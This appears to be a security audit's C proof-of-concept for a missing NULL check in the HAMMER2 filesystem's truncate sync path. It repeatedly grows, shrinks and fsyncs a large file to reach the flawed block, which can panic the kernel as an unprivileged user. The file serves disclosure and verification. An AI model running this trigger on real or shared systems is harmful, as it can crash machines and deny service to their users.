/*
 * DF-0800 — Missing NULL check on hammer2_inode_chain() in truncate reset
 * path of hammer2_xop_inode_chain_sync (hammer2_xops.c:1603-1607).
 *
 * The backend xop re-fetches the inode chain after the truncation loop when
 * parent has been pushed down into an indirect block (parent->bref.type !=
 * INODE). The returned pointer is immediately dereferenced for a kprintf()
 * format argument without any NULL test, unlike EVERY other xop in the file
 * (xop_readdir:204, xop_nresolve:263, xop_unlink:352, xop_bmap:1656, and
 * the first fetch in this very function at hammer2_xops.c:1547).
 *
 * NULL is returned by hammer2_inode_chain() (hammer2_inode.c:408) when
 *   - clindex >= cluster->nchains, OR
 *   - cluster->array[clindex].chain == NULL (gapped/degraded slot, or a
 *     slot cleared by a concurrent hammer2_inode_repoint() during the
 *     unlock+drop+reacquire window at hammer2_xops.c:1601-1605).
 *
 * Result: kernel NULL-deref panic inside kprintf()->%s dereference of
 *         parent->data->ipdata.filename — local DoS.  (The filename buffer
 *         is 256 bytes and not guaranteed NUL-terminated on a crafted image,
 *         but the NULL deref fires first, so the %s OOB-read is moot on a
 *         well-formed image.)
 *
 * This PoC exercises the vulnerable code path from the unprivileged syscall
 * surface (HAMMER2 is the root filesystem on the audit guest).  It forces a
 * truncate-down of a file large enough to span indirect blocks (>= 256 KiB),
 * which makes the lookup loop walk parent into HAMMER2_BREF_TYPE_INDIRECT and
 * thus enter the reset block.  When the re-fetch returns non-NULL (the
 * normal case on a healthy single-node PFS), the kernel logs:
 *
 *     xop_inode_chain_sync: TRUNCATE RESET on '<filename>'
 *
 * in dmesg — that log line is the proof the buggy block executed.  When the
 * re-fetch races to NULL (concurrent repoint on a multi-node cluster, or a
 * degraded/gapped cluster), the kernel takes a fatal trap 12 page fault in
 * the kprintf %s dereference instead.
 *
 * Build:  cc -O2 -o df0800_trunc_deref df0800_trunc_deref.c
 * Run:    ./df0800_trunc_deref /tmp/df0800_bigfile
 *
 * No special privileges required — runs as the unprivileged user on the
 * HAMMER2 root filesystem.
 */

#include <sys/fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

/*
 * HAMMER2_SET_COUNT is 4 blockrefs per blockset, each covering up to
 * HAMMER2_PBUFSIZE (64 KiB) of file data.  Direct blockrefs in the inode
 * therefore cover the first 4 * 64 KiB = 256 KiB.  Beyond that, data is
 * reached via HAMMER2_BREF_TYPE_INDIRECT chains, which is exactly what we
 * need for the lookup loop in hammer2_xop_inode_chain_sync to push `parent`
 * off the inode and into an indirect block, entering the vulnerable reset
 * block at hammer2_xops.c:1600.
 */
#define FILE_SIZE       (1024 * 1024)   /* 1 MiB — well past the 256 KiB
                                           direct-blockref threshold */
#define TRUNC_SIZE      (64 * 1024)     /* truncate down into the indirect
                                           region — lbase > embedded bytes */
#define BLOCK           (64 * 1024)

static void
die(const char *msg)
{
    perror(msg);
    exit(1);
}

int
main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "/tmp/df0800_bigfile";
    char buf[BLOCK];
    ssize_t n;
    off_t off;
    int fd, i;

    printf("DF-0800: exercising hammer2_xop_inode_chain_sync truncate "
           "reset path\n");
    printf("DF-0800: path=%s size=%d trunc=%d\n",
           path, FILE_SIZE, TRUNC_SIZE);

    /* Fill the file past the indirect-block threshold. */
    fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644);
    if (fd < 0)
        die("open");
    memset(buf, 'A', sizeof(buf));
    off = 0;
    while (off < FILE_SIZE) {
        n = write(fd, buf, sizeof(buf));
        if (n < 0)
            die("write");
        off += n;
    }
    if (fsync(fd) != 0)
        die("fsync(1)");
    printf("DF-0800: wrote %lld bytes and fsync'd (forces indirect-block "
           "chain creation)\n", (long long)off);

    /*
     * Truncate down.  This sets HAMMER2_INODE_RESIZED with meta.size < osize,
     * which routes hammer2_xop_inode_chain_sync into the delete-beyond-EOF
     * loop.  After the loop, parent->bref.type == INDIRECT (because the data
     * was in an indirect block), so the reset block at hammer2_xops.c:1600
     * fires, calling hammer2_inode_chain() again at :1603 without a NULL
     * check and dereferencing the result at :1607.
     */
    if (ftruncate(fd, TRUNC_SIZE) != 0)
        die("ftruncate");
    printf("DF-0800: truncated to %d bytes\n", TRUNC_SIZE);
    if (fsync(fd) != 0)
        die("fsync(2)");
    printf("DF-0800: fsync after truncate — this drives the inode_chain_sync "
           "xop\n");

    /*
     * Run several more truncate/fsync cycles.  Each one re-enters the
     * vulnerable block.  If a concurrent repoint ever clears the chain slot
     * during the unlock+drop+reacquire window, the kernel takes a NULL-deref
     * trap here.
     */
    for (i = 0; i < 8; i++) {
        if (ftruncate(fd, FILE_SIZE) != 0)
            die("ftruncate(grow)");
        if (ftruncate(fd, TRUNC_SIZE) != 0)
            die("ftruncate(shrink)");
        if (fsync(fd) != 0)
            die("fsync(loop)");
    }
    printf("DF-0800: completed %d grow/shrink/fsync cycles\n", i);

    close(fd);
    unlink(path);

    printf("DF-0800: done.  Check dmesg for:\n"
           "    'xop_inode_chain_sync: TRUNCATE RESET on ...'\n"
           "  If present, the buggy block at hammer2_xops.c:1603-1607 was "
           "executed.\n"
           "  If the kernel panicked with a page fault in kprintf/%s, the\n"
           "  NULL deref was hit (race with concurrent chain repoint).\n");
    return 0;
}
